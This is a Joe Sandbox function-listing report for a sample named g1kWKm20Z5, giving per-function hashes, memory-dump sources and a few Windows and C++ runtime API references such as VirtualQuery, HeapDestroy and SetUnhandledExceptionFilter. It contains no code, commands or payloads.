Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: QueryVirtual
String ID:
API String ID: 1804819252-0
Opcode ID: adbb045383f3aff83bbbc2894185f14245fc57792bcce1406522dec350c50953
Instruction ID: bb654dc0c729bd842e55c2d84f7a994ffa3bbf5d7aaa00ddc59bb9740fabb160
Opcode Fuzzy Hash: adbb045383f3aff83bbbc2894185f14245fc57792bcce1406522dec350c50953
Instruction Fuzzy Hash: C21182731102214BC720DF48CDC0AA773AAFB89718766026AD9445B711D17AECC7C7E4

Function 0234FB7D Relevance: 1.6, APIs: 1, Instructions: 54COMMON

Download Yara Rule

APIs

VirtualQuery.KERNEL32(?,00001000,00001000), ref: 0234FBEB

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: QueryVirtual
String ID:
API String ID: 1804819252-0
Opcode ID: adbb045383f3aff83bbbc2894185f14245fc57792bcce1406522dec350c50953
Instruction ID: ed0022786d00df90f2596bde09403202338bd6242bdd769f7c119627dc73cdef
Opcode Fuzzy Hash: adbb045383f3aff83bbbc2894185f14245fc57792bcce1406522dec350c50953
Instruction Fuzzy Hash: 3C112B325002614BC720CE48DDC096A73EAEB8971C76902D9DD455BE01D676FD86C7E0

Function 00424B24 Relevance: 1.5, APIs: 1, Instructions: 47memoryCOMMON

Download Yara Rule

APIs

HeapDestroy.KERNEL32(?), ref: 00424B90

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: DestroyHeap
String ID:
API String ID: 2435110975-0
Opcode ID: 91d73e85b2a2822530c45d3b6883030419f9aca911568a6b6bc4a0346bb9264a
Instruction ID: 327f04a744b5650a880c0d17b4fb38287b6591765f983e0adcdd5822482b62ae
Opcode Fuzzy Hash: 91d73e85b2a2822530c45d3b6883030419f9aca911568a6b6bc4a0346bb9264a
Instruction Fuzzy Hash: D1119EB1900B848FD321CF69D845B9AFBF4FB49710F04C62AE8A897740D3786809CFA1

Function 0043CE89 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0003CFB3,0043C903), ref: 0043CE8E

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f735817a0b308c0274c4987da6a64f0c13ab2f4be108d509050ca7eb575e1a57
Instruction ID: 47f33e16290772828d48e2fc5bbc638760d2d50ec684603df376a2e6b4d14c41
Opcode Fuzzy Hash: f735817a0b308c0274c4987da6a64f0c13ab2f4be108d509050ca7eb575e1a57
Instruction Fuzzy Hash:

Function 0041E6F0 Relevance: 1.5, Strings: 1, Instructions: 232COMMON

Download Yara Rule

Strings

U, xrefs: 0041EA43

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: U
API String ID: 0-3372436214
Opcode ID: 8bc74e86ad7892e45763c7c2175561076085692adc4a2a21e1bd7b970ee0b1f8
Instruction ID: 920c4e3f9504e8d2d4b163527b25bc307261b88a0300f18b1f19330db72b497f
Opcode Fuzzy Hash: 8bc74e86ad7892e45763c7c2175561076085692adc4a2a21e1bd7b970ee0b1f8
Instruction Fuzzy Hash: BF91D67D61C3018BDB249B5A84856BEBBE1BF85710F144C1FE9A9CB390D238D8C19B1B

Function 004126B9 Relevance: .8, Instructions: 751COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c69a6815894f7947a6a0542994c29682853ba558057bf9cd49837bbb9556ffd7
Instruction ID: b4bf6b1535a8192db109e4eceafa1359732031e4ea1743c163b6d2ec44044536
Opcode Fuzzy Hash: c69a6815894f7947a6a0542994c29682853ba558057bf9cd49837bbb9556ffd7
Instruction Fuzzy Hash: 5762A1316087418FC715DF29C180AAAB7F1FF88304F14896EE4CA9B351D779E996CB4A

Function 0235C341 Relevance: .6, Instructions: 552COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c4bec0ca96d7979bb9874ea500f13f7931d97d16c0c4a5bc8c4a6a2c06eb0bd8
Instruction ID: 0a973efaa9903140cc486945bb1382a86dc342ddc411804bb8bf5106602af095
Opcode Fuzzy Hash: c4bec0ca96d7979bb9874ea500f13f7931d97d16c0c4a5bc8c4a6a2c06eb0bd8
Instruction Fuzzy Hash: 7312EAB1D0032E4BDF289A58C885DBE7675EB00618F242D27DC1DFA2A1E728C645CBD7

Function 0041D1E9 Relevance: .5, Instructions: 492COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 18e96e1bdeea36fde2e2a7c95cb4fe45291349101a4151a177f093f440f27f0c
Instruction ID: c832cbe4cea19542036e1dfb563506aac7cc4c9f85c134abf1f95b4790773896
Opcode Fuzzy Hash: 18e96e1bdeea36fde2e2a7c95cb4fe45291349101a4151a177f093f440f27f0c
Instruction Fuzzy Hash: 301280B19087408FC324DF28C5816ABB7E2FF95314F144A2ED5D687B91E739E485CB4A

Function 0041204D Relevance: .5, Instructions: 486COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3b682a163c1f03396e5c833ff429decc58d3793787ed165ced3494e9022131f5
Instruction ID: 00b37b14bcf7e53a0711464c53c4ad7664543ad39541697e4ede5dfa319fd604
Opcode Fuzzy Hash: 3b682a163c1f03396e5c833ff429decc58d3793787ed165ced3494e9022131f5
Instruction Fuzzy Hash: EB124A75A087059FC714CF29C5806AAFBE1FF88304F14892EE899D7351D778E895CB8A

Function 023422B4 Relevance: .5, Instructions: 486COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4347f92868beb88931f2b4e7c9455e4ea7ed9a5ca3bc03ba5e233bd612ff6f32
Instruction ID: 1eafb42da30f8327f2d2cf6283e90da06f622b94c7179535a6af078cda6ee9ef
Opcode Fuzzy Hash: 4347f92868beb88931f2b4e7c9455e4ea7ed9a5ca3bc03ba5e233bd612ff6f32
Instruction Fuzzy Hash: 55123775A087059FC314CF29C48066AFBE1FF88314F058A6EF899A7352DB74E955CB82

Function 0040D994 Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03cdce923c9e675f9e5ebb5a0dbb8409354af7752ec9be4cef3cf10354fd476d
Instruction ID: 9c48d330d68db8a76f352aed59f264cc12ac867535c25307469f3d273e047ffe
Opcode Fuzzy Hash: 03cdce923c9e675f9e5ebb5a0dbb8409354af7752ec9be4cef3cf10354fd476d
Instruction Fuzzy Hash: 54F128B1E002098BDF288AA989915BFB6B1AF54310F25493FE015FF3D1E27D89458B5F

Function 0233DBFB Relevance: .5, Instructions: 464COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 03cdce923c9e675f9e5ebb5a0dbb8409354af7752ec9be4cef3cf10354fd476d
Instruction ID: 3868d454bb0c875b8f5f92ecee85a45dfad0053a98280876ee76b67dfee254ad
Opcode Fuzzy Hash: 03cdce923c9e675f9e5ebb5a0dbb8409354af7752ec9be4cef3cf10354fd476d
Instruction Fuzzy Hash: B6F12AB1E1060D8BDF2A9E98C8916BEB6B5BF45714F14492BE005EB3E0E7B4C741CB52

Function 0041316D Relevance: .4, Instructions: 440COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ef9f447ad74e91192cc3b01f303eb7ca3dc5ec1d29bfe9c2e6f9fbdfa1b176fd
Instruction ID: a0aa4bf3e4d537a92ce93f9e726837fc264071e7a9162c3afbdc2585123e9ce0
Opcode Fuzzy Hash: ef9f447ad74e91192cc3b01f303eb7ca3dc5ec1d29bfe9c2e6f9fbdfa1b176fd
Instruction Fuzzy Hash: 70021270510B508FC338CF29C6905AABBF1BF45711B944A2EDAA787B90D739F985CB18

Function 0041E083 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe52bac06ce16e9f08cb5d1657a55b984f032921874ae6b4bfe86344577606a7
Instruction ID: b31777eaf4445a5ca230d2489b0392e25bee96f51372df8947d9b7d5b3c35a4e
Opcode Fuzzy Hash: fe52bac06ce16e9f08cb5d1657a55b984f032921874ae6b4bfe86344577606a7
Instruction Fuzzy Hash: FAE1D179A083168FC714CF19C4D06AAB3E2BF99710F55892EED9587381D339E8868B85

Function 0234E2EA Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe52bac06ce16e9f08cb5d1657a55b984f032921874ae6b4bfe86344577606a7
Instruction ID: d371015dc2dd78ddfbec78816612abde45ee281d3e1f378e28cdae1071fe03e7
Opcode Fuzzy Hash: fe52bac06ce16e9f08cb5d1657a55b984f032921874ae6b4bfe86344577606a7
Instruction Fuzzy Hash: 15E1BC75B083168FC714CF18C4D066AB7E2FB88714F5989ADE9D58B381DB39E846CB81

Function 00429A5B Relevance: .3, Instructions: 346COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 363acbbdeab20fcea08c686e9da4600208a3b96b3fab0763692ee7983efd47cc
Instruction ID: 7aad21176e94204ebf9be3326ef5f875fb6c76e3886be83ba2785e1930059451
Opcode Fuzzy Hash: 363acbbdeab20fcea08c686e9da4600208a3b96b3fab0763692ee7983efd47cc
Instruction Fuzzy Hash: CED1D1716083154FD30CCF5DC89532AFBE5ABC8710F4A892EE999DB3A1D6B8DC058B85

Function 00441057 Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7d24e026ab002554a5cc82306c4c121f3aa2aa126a956a255deec92847530bab
Instruction ID: 05fb3061c803852ccbcb55ec79df352ea4c9045d55e38e7908647069224f19b4
Opcode Fuzzy Hash: 7d24e026ab002554a5cc82306c4c121f3aa2aa126a956a255deec92847530bab
Instruction Fuzzy Hash: DAC1AF30A006468EFB24CF58C480AABB7B2BB09304F14465FD956D7BB1D778ADC6CB59

Function 0044234A Relevance: .3, Instructions: 344COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee76e20e5c37595785789d759f783c4b647590ae66676044ba7df5895097dc4f
Instruction ID: 86255bcc3f122f9cb2bdcdd6b3c86e7cac227984b0ae32171133bf816eefb62b
Opcode Fuzzy Hash: ee76e20e5c37595785789d759f783c4b647590ae66676044ba7df5895097dc4f
Instruction Fuzzy Hash: 0EC1EE70A006469FEB28CF28C69066FBBB1EF05304F94461FF85697391C7B8AD46CB59

Function 00410A33 Relevance: .3, Instructions: 313COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 22a249e8036389ca2a94441644932b39595e3d331b0a1c1fbadceed0361bbadf
Instruction ID: be4b2c5f41c1c6b016d0662a1a3aa3dff1cc49737e4a0fee46609b29334a7491
Opcode Fuzzy Hash: 22a249e8036389ca2a94441644932b39595e3d331b0a1c1fbadceed0361bbadf
Instruction Fuzzy Hash: C3C18E716087518BC728CF1CC4903AEB7E2AFC4310F19CA2EE999D7795D7789881CB96

Function 00418413 Relevance: .3, Instructions: 279COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b49794fb555ce5a457b705e9d36dc15405e88024e94027de3508aab2a8635c
Instruction ID: ecdb7d8b3c128cef4b5a8eef640ce4e1348b954c5e1c8cc4e6b72fcb2b8dd03a
Opcode Fuzzy Hash: 13b49794fb555ce5a457b705e9d36dc15405e88024e94027de3508aab2a8635c
Instruction Fuzzy Hash: 07C18F70608386AFC714CF28C84469ABFA1BF65304F04865EF8994B782D774DA68CB96

Function 00429730 Relevance: .2, Instructions: 246COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc47058bb36163437909b73a5b85653ba8b3b080b3ce5340834d88d047b42e12
Instruction ID: 33946987a401538ec29d146c49bd0777ead14b37c14ca5df7bbf2076656dae12
Opcode Fuzzy Hash: dc47058bb36163437909b73a5b85653ba8b3b080b3ce5340834d88d047b42e12
Instruction Fuzzy Hash: FB9116327041214FD35CDB3D8D66529FBE6ABC9244F49CA3EE08ACB292E974DA13C751

Function 004109FC Relevance: .2, Instructions: 210COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a39a2fe1fb783dc0ebd96aaa4b09021d3a3dec2b0e9adff76d855defd5a20da3
Instruction ID: 2f1fa1f2c0ce5c767d39326a4a7df2626eefc8e715aa17eb357957d79dd35fa3
Opcode Fuzzy Hash: a39a2fe1fb783dc0ebd96aaa4b09021d3a3dec2b0e9adff76d855defd5a20da3
Instruction Fuzzy Hash: 7A8171716087518BC728CF2DC8906AEFBE2AFC4310F19CA2EE8D9D7795D6349881CB55

Function 0044915B Relevance: .2, Instructions: 158COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fcdd6333bcced19b981ab71a904a24c27a086616c56a7af56b535d3d20f827b4
Instruction ID: 7f6a3678a30058b370d0d799ec085ce4703b2b826dd53e06f65c8239fe1aa67b
Opcode Fuzzy Hash: fcdd6333bcced19b981ab71a904a24c27a086616c56a7af56b535d3d20f827b4
Instruction Fuzzy Hash: FE516E71E00119AFEF04CF99C941AAFBBB2FF88304F19849DE815AB201C7749E51DB95

Function 02359ADA Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 768c1d889d3b0b4dd139f02215e342ea367a32b8572c76f95433df72e755d40e
Instruction ID: de9ed496828060945def11e817e7598d09d079133ac2fb2d8aa5c02de47949ab
Opcode Fuzzy Hash: 768c1d889d3b0b4dd139f02215e342ea367a32b8572c76f95433df72e755d40e
Instruction Fuzzy Hash: C551CE317080610FD39CE63D8967439BAE69BC9144B49CA7EE0DBCB692E875CA23C751

Function 00424995 Relevance: .1, Instructions: 132COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 14f6e479ba9ecabd101c7c373dc08ee6d0ff72b1ef0e7f0e2d8669747df763cc
Instruction ID: 0a1bca97f873a7a6d6a3aaff04d58e0ae48002bfba7cab88bc6042a4b6745ab0
Opcode Fuzzy Hash: 14f6e479ba9ecabd101c7c373dc08ee6d0ff72b1ef0e7f0e2d8669747df763cc
Instruction Fuzzy Hash: F841F2726013149FD320DF15DC80B26B7E4FF84718F16452AED4587725E778F850CA99

Function 0043D8D0 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: affec256aca3101603e5e9c8b6c14aac85f880b69ce3fa9b32540f72830965cb
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 62113BF7A0104243D7058A2DF9B47B7D395EFCE320F2C626BD0514B758D12AE9459608

Function 0236DB37 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction ID: b9abfda41b353c0c1e3259c952a9147802510d6a115bd1598094fb39f66939d6
Opcode Fuzzy Hash: 567adef0f6a617ff7e9a8750fccc1eb3e230b1b82912df90697507ac2483188c
Instruction Fuzzy Hash: 1711EBB734118B47D6148A3DD4BC6BAA79DEBC7129B2DC37AD0428F75CD3229144D604

Function 00422817 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61e10354841268cd05691efce0a8c9eb762bb4252619a69a0da3101ddd28b7c0
Instruction ID: c3a51ff81cd43cadc2f91b9d343c289a0ae24623370d929bafb0354b6f338a0e
Opcode Fuzzy Hash: 61e10354841268cd05691efce0a8c9eb762bb4252619a69a0da3101ddd28b7c0
Instruction Fuzzy Hash: F61194B66002147FE3006F69DC85E27BADCEB44354F45817AFD089B212D639ED14C6A5

Function 02352A7E Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 667bd2f19aee6fa7d81c4cb481a3f51af8e19f63dc029046603eb54790070f8a
Instruction ID: af7ec3d076cba136a0faee5a26742be77a46195bb570506c981dbde19bbbb0ba
Opcode Fuzzy Hash: 667bd2f19aee6fa7d81c4cb481a3f51af8e19f63dc029046603eb54790070f8a
Instruction Fuzzy Hash: 5411A0B2600248AFE314AF69CC84E27FAEDEB48254F058179FD0D9B222D635ED148A61

Function 00426A42 Relevance: .1, Instructions: 65COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66ff2f2a13dd8e2f3e7900633aa22c2d0bddf0cea2b0e0fcf3d4903cf0c1afe8
Instruction ID: 775a38982ecc14386774c10a2ff7988f4febef0241ab9f2fac4c7ed0a075f983
Opcode Fuzzy Hash: 66ff2f2a13dd8e2f3e7900633aa22c2d0bddf0cea2b0e0fcf3d4903cf0c1afe8
Instruction Fuzzy Hash: 5F21AF71A002268FCB24CF58C890B6BB7B1FF86708F69865DC8066B342D775EC42CB95

Function 008AD433 Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612871914.00000000008AD000.00000040.00000020.00020000.00000000.sdmp, Offset: 008AD000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8ad000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 1ec3f40412330d98dfcb47adbe96a85c50e2d5fbe26caa53877c373d6e25306d
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: 701182723412009FE744DF55DC81EA673EAFB9D324B298055ED09CBB12D675EC41C764

Function 00410218 Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c0cbf25b4c85234f202655fa8cc2e504dfd54c569fa544efbece1cc302c4c175
Instruction ID: 5cf5f964e5d4fdf4ab25e9de6bfd162346dccf7c83c49c61d1a40ba7c9897cbe
Opcode Fuzzy Hash: c0cbf25b4c85234f202655fa8cc2e504dfd54c569fa544efbece1cc302c4c175
Instruction Fuzzy Hash: 36118A77A1827107D711CE759CE021AF7629BC622270F4376D981AB352C170EC5892D9

Function 00429EF7 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6d0ec938ce4093d67a2cf61a3cc3f8e03a2e4f7c65607b08f985ba338c785d5
Instruction ID: 5e6f75d6069618f27f4e8ece13d34dcb27fa1cb4973037488a19f9399b438bca
Opcode Fuzzy Hash: d6d0ec938ce4093d67a2cf61a3cc3f8e03a2e4f7c65607b08f985ba338c785d5
Instruction Fuzzy Hash: 04E01A75A116849FD7018F25E994B007BA1E704B10F458066F800D7A79F3B86C80CF8E

Function 02373BFF Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Offset: 02330000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2330000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction ID: cc6de226588e04b46f83be25afce72c310d6fcd302776d635664c13a5735f165
Opcode Fuzzy Hash: e9c2f219f0a9af3f176a5929433c540c90c9a3d9d29b5cff4e9fefba7a9b2e30
Instruction Fuzzy Hash: 86C08C740009804BCE39892082703A43365B381782F8804CCC8028BA49C71E98C2FA10

Function 004269E4 Relevance: .0, Instructions: 11COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d46244e68fc71b8cbf41339a9e21dde89906441e25df86e8e15a46fb3bb963b5
Instruction ID: 2572daf3ac28ea9ece149f63ca22f641f49709f61c5ee85f622209572a58cfb2
Opcode Fuzzy Hash: d46244e68fc71b8cbf41339a9e21dde89906441e25df86e8e15a46fb3bb963b5
Instruction Fuzzy Hash: 33D08C31365650AFCB41DB48DD42F00B3E0EB48B32F258282B830AB2F2C724FE41CA05

Function 0042F265 Relevance: .0, Instructions: 5COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: adb50997bff8f6b42dea5567a3e80c24e84f9fd98b00b9a5e01fe7e8c8691b55
Instruction ID: c0944383d73aac26117361346b053748916b56d97ab65fadc12e4df891c8d7e9
Opcode Fuzzy Hash: adb50997bff8f6b42dea5567a3e80c24e84f9fd98b00b9a5e01fe7e8c8691b55
Instruction Fuzzy Hash: 7AB00279661540CFCA55CF08C198E00F3F4FB48760B068491EC05CB722C234ED41CA10

Function 0045999F Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00459ABE
CatchIt.LIBVCRUNTIME ref: 00459C1D
_UnwindNestedFrames.LIBCMT ref: 00459D1E
CallUnexpected.LIBVCRUNTIME ref: 00459D39

Strings

csm, xrefs: 00459A49
csm, xrefs: 00459AF5
x@F, xrefs: 00459AB5
csm, xrefs: 004599DC

Memory Dump Source

